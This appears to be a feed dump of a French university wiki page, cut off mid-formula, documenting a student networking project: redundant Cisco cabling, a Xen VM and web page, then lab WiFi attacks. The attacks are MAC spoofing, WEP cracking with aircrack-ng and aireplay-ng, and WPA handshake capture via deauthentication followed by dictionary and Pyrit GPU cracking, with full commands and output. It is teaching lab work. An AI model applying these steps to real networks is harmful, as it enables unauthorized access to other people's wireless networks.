Dans notre commande, INAME est le nom de l'interface pour laquelle on désire vérifier la connexion. INAME est directement suivi d'un antislash et d'un espace pour éviter des problèmes de filtrage (exemple: Gi0/30 qui répond à la requête de Gi0/3). La liste des ces interfaces est indiquée sur le carte SD. Chaque matériel Cisco, qui est identifié par le nom qu'il donne lors de l'appuie sur la touche &amp;quot;entrée&amp;quot; possède sa propre liste de connections sur la SD, et ceci en correspondance avec le câblage que nous avons effectué dans le début de notre projet.&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=PRA_2015_-_C%C3%A2blage_d%27un_r%C3%A9seau_redondant&amp;diff=24255</id>
		<title>PRA 2015 - Câblage d'un réseau redondant</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=PRA_2015_-_C%C3%A2blage_d%27un_r%C3%A9seau_redondant&amp;diff=24255"/>
				<updated>2015-12-10T09:49:32Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : /* Communication avec le matériel Cisco */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
== Introduction ==&lt;br /&gt;
Le Projet de Réseau et Administration (PRA) se découpe en deux parties. La première consiste à réaliser le câblage de l'infrastructure et la deuxième à traiter la partie commune du PRA.&lt;br /&gt;
== Câblage du résau ==&lt;br /&gt;
=== Le réseau idéal ===&lt;br /&gt;
Le but de ce projet est de câbler un réseau redondant permettant la mise en place d'une infrastructure réseau haute disponibilité. L'architecture du réseau est donnée sur le diagramme suivant.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PRA15 - Réseau Idéal.png]]&lt;br /&gt;
&lt;br /&gt;
Quatre liaison fibre assure la robustesse du système (ainsi que son débit). Les fibres 1 et 4 sont reliés depuis un commutateur PolytechLille (considéré comme sortie Internet). Ces fibres permettent d'assurer un débit de 10 Gygabytes. Les fibres 2 et 3 assurent la redondance du système et permettent aux switch de récupérer un débit de 1 Gygabyte auprès des routeurs. Les routeurs et switch d'une même salle (E304 ou E306) sont cablés à l'aide de câbles cuivrés sur des interfaces Gygabytes. Enfin, le serveur Xen est relié au deux switchs à l'aide de câbles cuivrés 1 Gygabyte. Cette architecture permet d'assurer qu'en cas d'un câble défectueux, le réseau continue de fonctionner correctement.&lt;br /&gt;
&lt;br /&gt;
=== L'avancement du cablage du réseau ===&lt;br /&gt;
&lt;br /&gt;
L'image suivante détaille l'état du réseau avant le 07/10/2015.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PRA15 - Réseau Temporaire.png]]&lt;br /&gt;
&lt;br /&gt;
Au début du PRA, nous ne disposions pas de l'intégralité du matériel. Par conséquent nous avons mis en place un réseau dégradé permettant aux autres groupes de travailler sur leur projet. Nous avons donc utilisé un des cartes 1 Gigabyte pour relier la routeur de la salle E306 à notre arrivée Internet, rendant l'utilisation de la fibre D du fait du faible nombre de GBIC 1 Gigabyte. De plus, comme il nous manquait un raccord de fibre pour la fibre B, nous avons utilisé un câble cuivré pour lier le routeur de la E306 au switch de la E304. La liaison au Xen était donc assuré par un seul lien cuivré entre celui-ci et le switch de la E306.&lt;br /&gt;
&lt;br /&gt;
== La partie commune ==&lt;br /&gt;
=== Création d'un site Web haute disponibilité ===&lt;br /&gt;
==== Installation de la machine virtuelle ====&lt;br /&gt;
D'après notre sujet, notre site Web devait être hébergé sur une machine virtuelle fonctionnant sur le serveur que nous avions rendu redondant précédemment. Nous avons donc commencé par créer cette machine virtuelle, nommée &amp;quot;kwak&amp;quot;. Notre hôte est un serveur Xen 3.0.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/xen/kwak.cfg&lt;br /&gt;
kernel      = '/boot/vmlinuz-3.14-2-amd64'&lt;br /&gt;
extra       = 'elevator=noop'&lt;br /&gt;
ramdisk     = '/boot/initrd.img-3.14-2-amd64'&lt;br /&gt;
vcpus       = '1'&lt;br /&gt;
memory      = '512'&lt;br /&gt;
root        = '/dev/xvda2 ro'&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/kwak/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/kwak/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
name        = 'kwak'&lt;br /&gt;
vif         = [ 'ip=193.48.57.167 ,mac=00:16:3E:FF:C3:C5 ,bridge=IMA5sc' ]&lt;br /&gt;
on_poweroff = 'destroy'&lt;br /&gt;
on_reboot   = 'restart'&lt;br /&gt;
on_crash    = 'restart'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous démarrons notre machine virtuelle.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# xl create /etc/xen/kwak.cfg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous nous connectons alors à la machine (soit en ssh soit avec la console Xen).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# xl console kwak&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Enfin, nous installons les services dont nous allons avoir besoin par la suite.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get install apache2 bind&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Mise en place du service web ====&lt;br /&gt;
Pour réaliser notre site web, nous avons commencé par créer une page web basée sur notre nom de domaine: [http://pinkfluffyunicorn.lol pinkfluffyunicorn.lol]&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&lt;br /&gt;
    &amp;lt;script src=&amp;quot;https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/head&amp;gt;&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
    &amp;lt;iframe style=&amp;quot;position:absolute;top:0px;left:0px;&amp;quot; id=&amp;quot;video&amp;quot; src=&amp;quot;https://www.youtube.com/embed/qRC4Vk6kisY?autoplay=1&amp;amp;showinfo=0&amp;amp;showsearch=0&amp;amp;iv_load_policy=3&amp;amp;autoplay=1&amp;quot; frameborder=&amp;quot;0&amp;quot; allowfullscreen&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
  &amp;lt;script&amp;gt;&lt;br /&gt;
        $(function(){$('#video').css({ width: $(window).innerWidth() + 'px', height: '100%' });&lt;br /&gt;
          $(window).resize(function(){$('#video').css({ width: $(window).innerWidth() + 'px', height: '100%' });});&lt;br /&gt;
        });&lt;br /&gt;
        &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Tests de sécurisation de réseaux WiFi ===&lt;br /&gt;
==== Accès par filtrage MAC ====&lt;br /&gt;
Nous avons commencé par effectuer une connexion sur un point d'accès WiFi fonctionnant par filtrage MAC en ayant notre adresse MAC autorisée sur la borne. Nous avons donc configuré notre interface pour se connecter au WiFi, utiliser une IPv4 libre sur le réseau, installer le routage pour pouvoir pinger la passerelle et enfin accéder à Internet.&lt;br /&gt;
&lt;br /&gt;
La deuxième partie consiste à s'authentifier sur un réseau sécurisé par filtrage MAC, mais cette fois-ci sans avoir son adresse autorisée sur le point d'accès. Pour cela nous allons faire du sniffage du réseau WiFi en question. Nous commençons par passer la carte WiFi en mode monitoring.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng start wlan0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous avons surveillé le réseau WiFi, nommé &amp;quot;baguette&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng --essid baguette wlan0mon&lt;br /&gt;
&lt;br /&gt;
CH 13 ][ Elapsed: 0 s ][ 2015-10-22 13:26&lt;br /&gt;
BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
C4:14:3C:40:78:60  -63        9        0    0   4  54e. OPN              baguette&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On spécifie alors le canal et le BSSID à utiliser pour plus de précision.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng --essid baguette wlan0mon&lt;br /&gt;
&lt;br /&gt;
CH  4 ][ Elapsed: 18 s ][ 2015-10-22 13:29                                           &lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
C4:14:3C:40:78:60  -52 100      146        1    0   4  54e. OPN              baguette                                                                                                               &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR   Rate    Lost    Frames  Probe                 &lt;br /&gt;
C4:14:3C:40:78:60  00:15:AF:E7:19:F3  -59    0 - 5e     0        1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dès qu'un client se connecte, il est possible de lui voler son adresse MAC (ici, 00:15:AF:E7:19:F3) et de se connecter sur le point d'accès avec la commande suivante.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ifconfig wlan1 hw ether C4:14:3C:40:78:60&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Accès par filtrage WEP ====&lt;br /&gt;
Par la suite, nous avons tenté de nous authentifier sur un point d'accès filtré par une clé WEP 128 bits. Nous avons donc commencé par passer l'interface WLAN en mode monitoring.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#airmon-ng &lt;br /&gt;
PHY	Interface	Driver		Chipset&lt;br /&gt;
&lt;br /&gt;
phy1	wlan3		rt2500usb	D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]&lt;br /&gt;
&lt;br /&gt;
#airmon-ng start wlan3&lt;br /&gt;
PHY	Interface	Driver		Chipset&lt;br /&gt;
&lt;br /&gt;
phy1	wlan3		rt2500usb	D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]&lt;br /&gt;
		(mac80211 monitor mode vif enabled for [phy1]wlan3 on [phy1]wlan3mon)&lt;br /&gt;
		(mac80211 station mode vif disabled for [phy1]wlan3)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
L'interface wlan3mon est maintenant disponible pour l'attaque. Nous passons maintenant au scan.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#airodump-ng wlan3mon&lt;br /&gt;
CH  9 ][ Elapsed: 0 s ][ 2015-11-12 11:58                                         &lt;br /&gt;
                                                                                                                                                                                                     &lt;br /&gt;
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
                                                                                                                &lt;br /&gt;
 00:23:5E:1E:05:48  -57        2        0    0   7  54e. OPN              cracotte09                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:41  -56        3        0    0   7  54e. WEP  WEP         cracotte02                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:45  -57        3       22    0   7  54e. WEP  WEP         cracotte06                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:44  -56        2       19    0   7  54e. WEP  WEP         cracotte05                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:47  -55        3       42    0   7  54e. WEP  WEP         cracotte08                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:46  -55        1       67    0   7  54e. WEP  WEP         cracotte07                                                                                                                  &lt;br /&gt;
 00:23:5E:1E:05:42  -56        2       67    0   7  54e. WEP  WEP         cracotte03                                                                                                                  &lt;br /&gt;
 00:23:5E:1E:05:40  -57        2       98    0   7  54e. WEP  WEP         cracotte01                                                                                                                  &lt;br /&gt;
 00:23:5E:1E:05:43  -58        4       99    0   7  54e. WEP  WEP         cracotte04                                                                                                           &lt;br /&gt;
                                                                                                                                                                                                      &lt;br /&gt;
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                                                                                            &lt;br /&gt;
                                                                                                                                                                                                      &lt;br /&gt;
 04:DA:D2:CF:01:90  48:5A:3F:4C:37:61   -1    1e- 0      0        2                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:45  00:0F:B5:92:23:74  -64   54e-48e     2       21                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:44  00:0F:B5:92:23:6B  -65   48e- 2e    89        9                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:47  00:0F:B5:92:23:71  -67   54e-54e    39       37                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:46  00:0F:B5:92:23:69  -63   48e-54e     6       63                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:42  00:0F:B5:92:23:6A  -60   48e-54e     9       59                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:40  00:0F:B5:92:22:68  -55   36e-48e     9       94                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:43  00:0F:B5:92:23:75  -58   48e- 2e   145       93&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Notre cible étant le réseau &amp;quot;cracotte07&amp;quot;, nous spécifions donc le canal et l'ESSID&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#airodump-ng --essid cracotte07 --channel 7 -w dmp wlan3mon&lt;br /&gt;
CH  7 ][ Elapsed: 3 mins ][ 2015-11-12 12:03                                         &lt;br /&gt;
&lt;br /&gt;
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
 00:23:5E:1E:05:46  -64  17     1603    46339  201   7  54e. WEP  WEP         cracotte07&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Le monitoring du réseau est donc lancé. Pendant ce temps, nous lançons le décryptage avec aircrack.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#aircrack-ng *.cap&lt;br /&gt;
Opening dmp-01.cap&lt;br /&gt;
Read 110082 packets.&lt;br /&gt;
&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
&lt;br /&gt;
   1  00:23:5E:1E:05:46  cracotte07                WEP (6190 IVs)&lt;br /&gt;
&lt;br /&gt;
Choosing first network as target.&lt;br /&gt;
&lt;br /&gt;
Opening dmp-01.cap&lt;br /&gt;
Attack will be restarted every 5000 captured ivs.&lt;br /&gt;
Starting PTW attack with 6258 ivs.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous générons plus de flux à l'aide de aireplay.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#aireplay-ng -5 -e cracotte07 wlan3mon&lt;br /&gt;
No source MAC (-h) specified. Using the device MAC (00:11:95:E5:0D:F0)&lt;br /&gt;
12:02:11  Waiting for beacon frame (ESSID: cracotte07) on channel 7&lt;br /&gt;
Found BSSID &amp;quot;00:23:5E:1E:05:46&amp;quot; to given ESSID &amp;quot;cracotte07&amp;quot;.&lt;br /&gt;
12:02:11  Waiting for a data packet...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
        Size: 70, FromDS: 0, ToDS: 1 (WEP)&lt;br /&gt;
&lt;br /&gt;
              BSSID  =  00:23:5E:1E:05:46&lt;br /&gt;
          Dest. MAC  =  FF:FF:FF:FF:FF:FF&lt;br /&gt;
         Source MAC  =  00:0F:B5:92:23:69&lt;br /&gt;
&lt;br /&gt;
        0x0000:  8841 2c00 0023 5e1e 0546 000f b592 2369  .A,..#^..F....#i&lt;br /&gt;
        0x0010:  ffff ffff ffff c014 0000 f898 0e00 8065  ...............e&lt;br /&gt;
        0x0020:  7e87 af6b e679 211e c9d6 1665 0b4f 7e2d  ~..k.y!....e.O~-&lt;br /&gt;
        0x0030:  6cf8 2da9 f0f8 3f96 d831 539a 2f9e ef35  l.-...?..1S./..5&lt;br /&gt;
        0x0040:  b7bd 03c5 5093                           ....P.&lt;br /&gt;
&lt;br /&gt;
Use this packet ? y&lt;br /&gt;
&lt;br /&gt;
Saving chosen packet in replay_src-1112-120211.cap&lt;br /&gt;
12:02:13  Data packet found!&lt;br /&gt;
12:02:13  Sending fragmented packet&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et enfin, aircrack trouve la clé.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
                                                                                            Aircrack-ng 1.2 rc2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                            [00:02:12] Tested 853 keys (got 40800 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/  9   55(53248) FD(49664) 1F(47872) 7E(47616) 11(47360) D9(47360) F5(46848) 58(46592) 1E(46336) EE(46336) B0(46080) 20(45824) 93(45824) CD(45824) 0A(45568) 81(45568) &lt;br /&gt;
    1    0/  1   52(61952) 07(50176) 1E(49152) E4(49152) 11(48640) 38(48640) 5F(48640) 33(48128) A7(47360) AB(47360) 46(47104) E1(47104) ED(47104) 20(46848) 23(46592) 4D(46592) &lt;br /&gt;
    2    0/  1   55(60160) 27(47872) 3A(47616) 3D(47616) 45(47616) C4(47616) 05(47360) 70(47104) 99(47104) 4D(46336) E1(46336) 23(46080) 69(46080) 83(46080) 31(45824) 6A(45824) &lt;br /&gt;
    3   13/  3   79(46848) 2C(46592) 5E(46592) 1E(46080) 34(46080) 03(45824) 12(45824) 08(45568) AD(45568) B9(45568) 64(45312) 9B(45312) CE(45312) FB(45312) 74(44800) C0(44800) &lt;br /&gt;
    4    1/  4   CB(48896) 12(47872) 22(47872) E0(47872) FE(47872) 98(47360) ED(47360) 60(46848) 78(46848) 96(46848) 9A(46848) 6C(46592) 21(46080) 38(46080) A1(46080) 16(45824) &lt;br /&gt;
&lt;br /&gt;
     KEY FOUND! [ 55:55:55:55:55:55:55:55:55:51:11:11:11 ] &lt;br /&gt;
	Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
==== Accès par filtrage WPA ====&lt;br /&gt;
L'accès à un réseau protégé par une clé WPA est plus complexe car aircrack n'est pas capable de trouver la clé par ses propres moyens. Il est nécessaire de lui fournir un dictionnaire contenant la clé de réseau pour espérer pouvoir s'y connecter. Nous avons donc commencé par générer un dictionnaire comprenant certaines clés (dans notre cas, tout les nombres à 8 chiffres). Le script Perl générant le dictionnaire est le suivant.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/perl&lt;br /&gt;
my $ite = 0;&lt;br /&gt;
my $max = 1000000;&lt;br /&gt;
my $outp;&lt;br /&gt;
my $tmp;&lt;br /&gt;
for (my $j=0; $j &amp;lt; 100; $j++)&lt;br /&gt;
{&lt;br /&gt;
    $tmp = sprintf(&amp;quot;[%02d]\n&amp;quot;, $j);                                                                                                                                                               &lt;br /&gt;
    print STDERR $tmp;&lt;br /&gt;
    for (my $i=0; $i &amp;lt; ($max); $i++)&lt;br /&gt;
    {&lt;br /&gt;
        $outp = sprintf(&amp;quot;%08d\n&amp;quot;, $ite);&lt;br /&gt;
        $ite++;&lt;br /&gt;
        print $outp;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous lançons donc la génération avec la commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ./gen.pl &amp;gt; dic.txt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Le dictionnaire est ainsi généré. Cependant, la taille du dictionnaire est légèrement importante.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
859M -rw-r--r-- 1 root root 859M nov.  13 09:41 dic.txt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, après avoir passé l'interface en mode monitoring (de la même façon que pour les attaques précédentes), nous lançons notre surveillance du réseau &amp;quot;Almost Secure WiFi&amp;quot;.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# airodump-ng --channel 6 --essid &amp;quot;Almost Secure WiFI&amp;quot; -w dmp wlan1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Puis, nous désauthentifions les clients déjà connectés pour récupérer le &amp;quot;handshake&amp;quot; qui permettra le décryptage de la clé.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# aireplay-ng -0 5 -e &amp;quot;Almost Secure WiFI&amp;quot; wlan1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Une fois la désauthentification envoyée, nous récupérons le &amp;quot;handshake&amp;quot; durant la reconnection des clients.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# aircrack-ng *.cap&lt;br /&gt;
Opening dmp-01.cap&lt;br /&gt;
Read 2370 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
&lt;br /&gt;
   1  00:13:46:79:6A:1C  Almost Secure WiFI        WPA (1 handshake)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
=====Attaque par dictionnaire=====&lt;br /&gt;
A partir du moment où nous disposons du &amp;quot;handshake&amp;quot;, deux options s'offrent à nous. La première consiste à réaliser une attaque par dictionnaire (celui que nous avons généré). Commençons donc par cette attaque.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# aircrack-ng -w dico.txt *.cap&lt;br /&gt;
                                 Aircrack-ng 1.2 beta3&lt;br /&gt;
                   [00:58:30] 12121212 keys tested (3659.24 k/s)&lt;br /&gt;
                           KEY FOUND! [ 12121212 ]&lt;br /&gt;
      Master Key     : 8E 68 0C AB 07 0F F7 AD 0D 6A 04 A0 DB F5 A0 62&lt;br /&gt;
                       F8 39 26 F0 B4 C2 42 23 9E 11 5A 6B E2 39 A3 45&lt;br /&gt;
      Transient Key  : CE 6D 03 71 74 1D 39 B3 35 8A 24 D5 7D 39 76 DF&lt;br /&gt;
                       68 5B D5 CC 79 C5 6F 64 A3 A9 84 D2 36 19 7A F8&lt;br /&gt;
                       45 70 AF 3E 41 15 86 E3 2F 8C 5E 2E 5C F8 98 28&lt;br /&gt;
                       A6 FC DE 27 68 50 07 55 77 6F 83 9D B3 44 32 7E&lt;br /&gt;
      EAPOL HMAC     : 8D 45 38 2F 02 E5 F9 0B 4B 92 EB E9 6B FF B6 EE&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cete attaque, bien que parfaitement fonctionnelle, ne permet pas d'obtenir la clé rapidement. La vitesse de test des clés est fixe et ne dépend que de la performance du processeur. Dans notre cas (Intel i5-2400 @ 3.1 GHz) notre vitesse de test est de 3600 clés par seconde.&lt;br /&gt;
=====Attaque par Rainbow Tables=====&lt;br /&gt;
Pour réaliser l'attaque par par rainbow table, nous utiliserons le logiciel PyRit. C'est un logiciel codé en Python qui permet l'attaque de PMK (qui donne le mot de passe du réseau WiFi) plus efficacement que Aircrack. En attaque par dictionnaire classique, sur matériel équivalent (c'est à dire Intel i5-2400 @ 3.1 GHz), PyRit est légérement plus performant que Aircrack en passant d'une moyenne de 3600 PMK/s à 5200 PMK/s. L'intérêt d'utiliser une &amp;quot;rainbow table&amp;quot; est de générer une table valable pour un seul SSID (voir la partie suivante) qui permettra de comparer les PMK plus rapidement. Pour cela, nous allons commencer par ajouter le nom de notre réseau WiFi (aussi appelé ESSID) à PyRit.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit -e 'Almost Secure WiFI' create_essid&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Created ESSID 'Almost Secure WiFI'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous ajoutons le dictionnaire qui permettra la génération de la &amp;quot;rainbow table&amp;quot;. On remarqera que cette étape prend entre 5 à 10 secondes.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit -i ./dic.txt import_passwords&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
100000000 lines read. Flushing buffers... ..&lt;br /&gt;
All done.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant, nous devons générer la &amp;quot;rainbow table&amp;quot;. Cette partie est extrêmement longue et utilise le processeur au maximum de ses possibilités. Il est important de noter que pendant cette phase, le processeur chauffe énormément, une bonne ventilation du PC est donc obligatoire.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit batch&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Working on ESSID 'Almost Secure WiFI'&lt;br /&gt;
Processed 3/1536 workunits so far (0.2%); 5174 PMKs per second.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
On voit que PyRit calcule les PMK à 5200 clés par secondes. Bien que plus importante qu'avec Aircrack, cette vitesse reste assez faible. Pour augmenter la vitesse de calcul, nous allons utiliser la carte graphique disponible dans l'ordinateur. Pour cela, nous avons installer les drivers nécessaires et ajouté les outils Cuda pour que la carte graphique (NVidia GTX 560) puisse effectuer les calculs. Nous avons donc effectué un court benchmark pour constater les améliorations des performances.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit benchmark&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Running benchmark (25147.5 PMKs/s)... \&lt;br /&gt;
&lt;br /&gt;
Computed 25147.53 PMKs/s total.&lt;br /&gt;
#1: 'OpenCL-Device 'GeForce GTX 560'': 23696.7 PMKs/s (RTT 2.8)&lt;br /&gt;
#2: 'CPU-Core (SSE2)': 983.3 PMKs/s (RTT 3.0)&lt;br /&gt;
#3: 'CPU-Core (SSE2)': 975.5 PMKs/s (RTT 3.0)&lt;br /&gt;
#4: 'CPU-Core (SSE2)': 972.8 PMKs/s (RTT 3.0)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Avec une vitesse de 25000 PMK/s, nous lançons la génération de la &amp;quot;rainbow table&amp;quot; qui prendra environ une heure.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit batch&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Working on ESSID 'Almost Secure WiFI'&lt;br /&gt;
Processed 95/1536 workunits so far (6.2%); 26045 PMKs per second.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant que la &amp;quot;rainbow table&amp;quot; est générée, nous lançons l'attaque.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit -r *.cap attack_batch&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Parsing file 'dmp-01.cap' (1/1)...&lt;br /&gt;
Parsed 270 packets (270 802.11-packets), got 1 AP(s)&lt;br /&gt;
&lt;br /&gt;
Picked AccessPoint 00:13:46:79:6a:1c ('Almost Secure WiFI') automatically.&lt;br /&gt;
Attacking handshake with station 00:0c:e7:41:68:29&lt;br /&gt;
Tried 6001009 PMKs so far (5.9%); 11875239 PMKs per second&lt;br /&gt;
&lt;br /&gt;
The password is '12121212'.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Le mot de passe est alors affiché. Le temps nécessaire à l'obtention de la clé est d'une quinzaine de secondes. La vitesse de calcul des PMK est en moyenne de 7 millions de PMKs par secondes avec des pics à 11 millions de PMKs par secondes lors de l'accès à des zones du disque en cache. L'attaque par &amp;quot;rainbow tables&amp;quot; est donc largement plus performante.&lt;br /&gt;
&lt;br /&gt;
=====Algorithme de génération de PMK=====&lt;br /&gt;
Pour trouver le mot de passe d'un réseau WiFi protégé par du WPA, il est nécessaire de générer la PMK (Pairwise Master Key) correspondant au nom du réseau WiFi ciblé. En effet, l'algorithme de génération de la PMK (nommé PBKDF2) prend comme salage l'ESSID.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
PMK = PBKDF2(HMAC-SHA1, PASSWORD, ESSID, 4096, 256)&lt;br /&gt;
